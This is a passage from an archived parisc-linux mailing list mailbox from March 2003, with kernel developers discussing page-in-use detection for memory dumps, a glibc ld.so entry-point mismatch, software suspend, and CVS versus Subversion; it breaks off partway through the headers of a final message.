Content-Transfer-Encoding: base64

ICAgIEhpDQpXaGF0IGRvIHlvdSBtZWFuIGJ5ICJzd3N1c3AiIHBhdGNoZSA/IFdoYXQgaXQg
ZG8uLi4uDQpBY3R1YWxseSBJJ20gbG9va2luZyBhdCB0aGUga21hbGxvYygpIGZ1bmN0aW9u
IGluIG9yZGVyIHRvDQp1bmRlcnN0YW5kIGhvdyBpdCBkZXRlcm1pbmUgdGhlIGJ1Y2tldCwg
YW5kIHNvIHRvIGtub3cNCndoaWNoIHBhZ2VzIEkgbmVlZCB0byBkdW1wIGJlZm9yZSBJIGNh
biB1c2UgdGhlIHBhZ2Ugc3RydWN0dXJlLg0KRG8geW91IHRoaW5rIGl0IGlzIGEgZ29vZCBz
dGFydGluZyBwb2ludCwgb3IgdXNpbmcgcGFnZQ0Kc3RydXR1cmUgaXMgcmVhbGx5IGEgYmFk
IG9wdGlvbiA/DQoNCiAgICBUaGFua3MuDQoNCk1hdHRoZXcgV2lsY294IHdyb3RlOg0KDQo+
IE9uIFdlZCwgTWFyIDE5LCAyMDAzIGF0IDA1OjUwOjQ2UE0gKzAxMDAsIGJydW5vX3ZpZGFs
QGhwLmNvbSB3cm90ZToNCj4gPiAgICAgSGkNCj4gPiBJJ20gY3VycmVudGx5IHRyeWluZyB0
byByZWR1Y2UgdGhlIGR1bXAgdGltZSwgYW5kIHRoZW4gSSB0cnkgdG8gZHVtcCBvbmx5DQo+
ID4gcGFnZXMgdGhhdCBhcmUgY3VycmVudGx5IHVzZSBieSB0aGUgc3lzdGVtLiBJbiBwYWdl
IHN0cnVjdHVyZSBJIGZvdW5kIGEgZmxhZywNCj4gPiBJIHdhcyB0aGlua2luZyBhIGdvb2Qg
b25lIGZvciB0aGlzIHB1cnBvc2U6DQo+ID4gYXRvbWljX3QgY291bnQ7ICAgICAgICAgICAg
ICAgICAvKiBVc2FnZSBjb3VudCwgc2VlIGJlbG93LiAqLw0KPiA+DQo+ID4gQnV0IGFmdGVy
IHRha2luZyBvbmx5IHBhZ2VzIHdoZXJlIGNvdW50ICE9IDAsIHNvbWV0aGluZyB3YXMgYnJv
a2VuLCBJIHdhcw0KPiA+IG5vdCBhYmxlIHRvIGxvb2sgYXQgcHJvYyBzdHJ1Y3R1cmUsIGFu
ZCBzZXZlcmFsIHRoaW5ncy4uLi4uDQo+ID4gSWYgYSBkbyBhICJmdWxsIiBkdW1wIEknbSBz
dGlsbCBhYmxlIHRvIGxvb2sgYXQgd2hhdCBJIG5lZWQsIHNvIHRoaXMgcGFnZS5jb3VudA0K
PiA+IGlzIG5vdCBhY2N1cmF0ZSBmb3IgdGhpcyBwdXJwb3NlLiBTbyBkb2VzJ3QgZXhpc3Qg
YSBnb29kIHdheSB0byBrbm93IGlmIGEgcGFnZQ0KPiA+IGlzIGluIHVzZSBvciBub3QgPw0K
Pg0KPiBUaGUgcHJvYmxlbSBpcyBtdWx0aS1wYWdlIGFsbG9jcy4gIFRoZSBgc3RydWN0IHBh
Z2UnIGlzIG5vdCB2YWxpZA0KPiBmb3IgdGhvc2UuICBJJ20gbm90IHN1cmUgd2hhdCBhIGdv
b2Qgd2F5IG9mIGRvaW5nIHRoaXMgaXMgLS0gaGF2ZSB5b3UNCj4gbG9va2VkIGF0IHRoZSBz
d3N1c3AgcGF0Y2hlcyB0byBzZWUgaG93IHRoZXkgZG8gaXQ/DQo+DQo+IC0tDQo+ICJJdCdz
IG5vdCBIb2xseXdvb2QuICBXYXIgaXMgcmVhbCwgd2FyIGlzIHByaW1hcmlseSBub3QgYWJv
dXQgZGVmZWF0IG9yDQo+IHZpY3RvcnksIGl0IGlzIGFib3V0IGRlYXRoLiAgSSd2ZSBzZWVu
IHRob3VzYW5kcyBhbmQgdGhvdXNhbmRzIG9mIGRlYWQgYm9kaWVzLg0KPiBEbyB5b3UgdGhp
bmsgSSB3YW50IHRvIGhhdmUgYW4gYWNhZGVtaWMgZGViYXRlIG9uIHRoaXMgc3ViamVjdD8i
IC0tIFJvYmVydCBGaXNrDQo+IF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fDQo+IHBhcmlzYy1saW51eCBtYWlsaW5nIGxpc3QNCj4gcGFyaXNjLWxp
bnV4QGxpc3RzLnBhcmlzYy1saW51eC5vcmcNCj4gaHR0cDovL2xpc3RzLnBhcmlzYy1saW51
eC5vcmcvbWFpbG1hbi9saXN0aW5mby9wYXJpc2MtbGludXgNCg0KLS0NCiAgICAgICAgVmlk
YWwgQnJ1bm8sICg3NzAtNDI3MSkNCiAgICAgICAgU1NELUhBIFRlYW0sIEhQLVVYICYgTElO
VVggU3VwcG9ydA0KICAgICAgICBicnVub192aWRhbEBhZG1pbi5mcmFuY2UuaHAuY29tDQoN
Cg0K
--------------81B41C21B2E684D62BA8519A
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for 
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------81B41C21B2E684D62BA8519A--



From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] struct page: page in use or not ?
Date: Thu, 20 Mar 2003 12:13:56 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20030320121356.GZ14520@parcelfarce.linux.theplanet.co.uk>
References: <3E789FE6.C9BB53CD@hp.com> <20030319170749.GX14520@parcelfarce.linux.theplanet.co.uk> <3E79A49C.81C188AA@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622309 23393 80.91.229.3 (22 Nov 2014 02:11:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:49 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: bruno_vidal@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 05:13:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9686A4845
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 05:13:58 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18vyvk-0001Mc-M0; Thu, 20 Mar 2003 12:13:56 +0000
Content-Disposition: inline
In-Reply-To: <3E79A49C.81C188AA@hp.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18009

On Thu, Mar 20, 2003 at 12:23:08PM +0100, bruno_vidal@hp.com wrote:
>     Hi
> What do you mean by "swsusp" patche ? What it do....
> Actually I'm looking at the kmalloc() function in order to
> understand how it determine the bucket, and so to know
> which pages I need to dump before I can use the page structure.
> Do you think it is a good starting point, or using page
> struture is really a bad option ?

kmalloc (ie slab) is the wrong allocator to be looking at.  you want
get_free_pages.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /lib/ld.so.1 (glibc) issues on 2.5 kernel??
Date: Thu, 20 Mar 2003 09:14:08 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20030320141408.GB25896@systemhalted>
References: <1047917954.14507.15.camel@beavis.ybsoft.com> <20030317163206.GE28607@parcelfarce.linux.theplanet.co.uk> <1047919859.14507.21.camel@beavis.ybsoft.com> <1047972053.19011.14.camel@beavis.ybsoft.com> <1048148150.19036.11.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622309 23397 80.91.229.3 (22 Nov 2014 02:11:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:49 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 07:14:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2C28482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 07:14:17 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18w0o4-0001Ip-00; Thu, 20 Mar 2003 09:14:08 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Ryan Bradetich <rbradetich@uswest.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1048148150.19036.11.camel@beavis.ybsoft.com>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (24% Sync Ratio [==........])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18010

Ryan,

> 	user_entry: 41001fb4
> 	ENTRY_POINT: 41027082

Intereting...
 
> Since they are different, the if statement fails... My belief
> is they should be the same when /lib/ld.so.1 is called because
> of the following comment inside this if statement:

I wouldn't trust code comments.
 
> to me there looks like two things that could be wrong:
> 
> 1.  The exec->e_entry needs to be fixed in the kernel, so it matches
>     the _start of the library.
> 
> 2.  The ENTRY_POINT needs to be changed in glibc for parisc-linux.
> 
> I am planning to pursue option 1 unless someone thinks option 2 is the
> correct option to pursue.

Would you be willing to ask this question on
libc-alpha@sources.redhat.com? If not, I could push the question out
there and see what the official solution should be and why.

I'm interested to know why this broke? :)

c.



From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVSy stuff
Date: Thu, 20 Mar 2003 17:21:47 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20030320152147.GA27039@marmite.its.uct.ac.za>
References: <20030318143337.GF14520@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622309 23403 80.91.229.3 (22 Nov 2014 02:11:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 08:21:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACC15482C
	for <parisc-linux@parisc-linux.org>; Thu, 20 Mar 2003 08:21:56 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 18w1rZ-000A6H-00; Thu, 20 Mar 2003 17:21:49 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id 90E171A330; Thu, 20 Mar 2003 17:21:47 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030318143337.GF14520@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18011

On Tue, Mar 18, 2003 at 02:33:37PM +0000, Matthew Wilcox wrote:
> 
> According to the folk wisdom around CVS, long-lived branches make
> operations slower.  Here's some evidence:
> 
> http://mail.gnu.org/archive/html/info-cvs/2001-08/msg00939.html
> http://sources.redhat.com/ml/gdb/2003-03/msg00091.html
> 
> >From this point of view, our CVS tree is practically pessimal.  We have
> two long-lived, regularly-updated branches (1.1.2. and 1.).  This may
> explain why CVS is taking a long time to do simple stuff that used to
> not take very long at all.
[snip]

I don't want to start an SCM flamewar, but, since Thibaut already
mentioned BK... :)  Subversion (http://subversion.tigris.org/) has cheap
branching and tagging (which are both actually just "cheap" copies.)
Subversion does not slow down depending on the lifetime of the branches
etc.

Of course Subversion is not yet 1.0, but there are at least some people
playing with importing Linux kernel trees into Subversion repositories,
and Connectiva uses Subversion for all the packages etc. in their
distribution.

See http://subversion.tigris.org/svn-repositories.html for some of the
people using it.  The biggest repository on that list is Connectiva's
> 7GB repository.

I don't know if anyone's tried Subversion on parisc Linux.

I am not involved in the Subversion project, except that I am subscribed
to the developers list.  I have not submitted any but the most trivial
of patches and don't care if you decide to use it or stick with CVS or
use something else.

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: m.delahaye@esiee.fr (Matthieu Delahaye)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVSy stuff
Date: Thu, 20 Mar 2003 16:23:16 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20030320152316.GA3990@charrue.esiee.fr>
References: <20030318143337.GF14520@parcelfarce.linux.theplanet.co.uk> <20030320152147.GA27039@marmite.its.uct.ac.za>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622309 23407 80.91.229.3 (22 Nov 2014 02:11:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:49 +0000 (UTC)
To: Michael Wood <mwood@its.uct.ac.za>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 08:30:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id E33AF482C
	for <parisc-linux@parisc-linux.org>; Thu, 20 Mar 2003 08:30:36 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 3CDF249CFD; Thu, 20 Mar 2003 16:30:34 +0100 (CET)
Original-Received: from charrue.esiee.fr (charrue.esiee.fr [147.215.7.31])
	by mail.esiee.fr (Postfix) with ESMTP
	id BEE6F49C32; Thu, 20 Mar 2003 16:30:31 +0100 (CET)
Original-Received: by charrue.esiee.fr (Postfix, from userid 1000)
	id 76BEF24286; Thu, 20 Mar 2003 16:23:16 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20030320152147.GA27039@marmite.its.uct.ac.za>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18012

> I don't want to start an SCM flamewar, but, since Thibaut already
> mentioned BK... :) 

It's now clear french humour will never be understood by non-natives.

;-)

Matthieu
(French native)



From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] struct page: page in use or not ?
Date: Thu, 20 Mar 2003 17:39:22 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20030320153922.GB27039@marmite.its.uct.ac.za>
References: <3E789FE6.C9BB53CD@hp.com> <20030319170749.GX14520@parcelfarce.linux.theplanet.co.uk> <3E79A49C.81C188AA@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622310 23408 80.91.229.3 (22 Nov 2014 02:11:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:50 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: bruno_vidal@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 08:39:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4F7648D7
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 08:39:26 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 18w28a-000BTT-00; Thu, 20 Mar 2003 17:39:24 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id 6F26D1A330; Thu, 20 Mar 2003 17:39:22 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	bruno_vidal@hp.com, Matthew Wilcox <willy@debian.org>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Content-Disposition: inline
In-Reply-To: <3E79A49C.81C188AA@hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18013

On Thu, Mar 20, 2003 at 12:23:08PM +0100, bruno_vidal@hp.com wrote:
>     Hi
> What do you mean by "swsusp" patche ? What it do....

swsusp = Software Suspend

http://fchabaud.free.fr/English/default.php3?COUNT=3&FILE0=Tricks&FILE1=Laptop&FILE2=Swsusp

	Software suspend is a kernel patch that provides the ability to
	suspend execution of the kernel without using any APM BIOS
	feature. This is really useful either if your BIOS is broken
	(for instance you have bought a larger disk than the original
	one and the BIOS is unable to handle it :-() or if you
	frequently swap from windows to linux because this feature
	allows you to save your linux session on disk instead of
	rebooting.

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVSy stuff
Date: 20 Mar 2003 17:12:17 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <1048180336.2973.5.camel@irongate.swansea.linux.org.uk>
References: <20030318143337.GF14520@parcelfarce.linux.theplanet.co.uk>
	 <20030320152147.GA27039@marmite.its.uct.ac.za>
	 <20030320152316.GA3990@charrue.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622310 23409 80.91.229.3 (22 Nov 2014 02:11:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:50 +0000 (UTC)
Cc: Michael Wood <mwood@its.uct.ac.za>,
	Matthew Wilcox <willy@debian.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Matthieu Delahaye <m.delahaye@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 09:02:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0308F48D7
	for <parisc-linux@parisc-linux.org>; Thu, 20 Mar 2003 09:02:05 -0700 (MST)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.7/8.12.7) with ESMTP id h2KHCJYf003030;
	Thu, 20 Mar 2003 17:12:20 GMT
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.7/8.12.7/Submit) id h2KHCH5X003028;
	Thu, 20 Mar 2003 17:12:17 GMT
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20030320152316.GA3990@charrue.esiee.fr>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18014

On Thu, 2003-03-20 at 15:23, Matthieu Delahaye wrote:
> > I don't want to start an SCM flamewar, but, since Thibaut already
> > mentioned BK... :) 
> 
> It's now clear french humour will never be understood by non-natives.

Some of it is (http://www.bretzelforbush.com/) for example 8)



From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: 64 bit userspace
Date: Thu, 20 Mar 2003 11:08:59 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <9A0482A7BD2506488AD9417C93F3714F01FC0A0F@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622310 23414 80.91.229.3 (22 Nov 2014 02:11:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:50 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 09:09:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2373548D7
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 09:09:10 -0700 (MST)
Original-Received: from xatlrelay2.atl.hp.com (xatlrelay2.atl.hp.com [15.45.89.191])
	by atlrel6.hp.com (Postfix) with ESMTP id C26911C0006C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 11:09:09 -0500 (EST)
Original-Received: from xatlbh3.atl.hp.com (xatlbh3.atl.hp.com [15.45.89.188])
	by xatlrelay2.atl.hp.com (Postfix) with ESMTP id BBE331C000B4
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 11:09:09 -0500 (EST)
Original-Received: by xatlbh3.atl.hp.com with Internet Mail Service (5.5.2655.55)
	id <GJS7TRFZ>; Thu, 20 Mar 2003 11:09:09 -0500
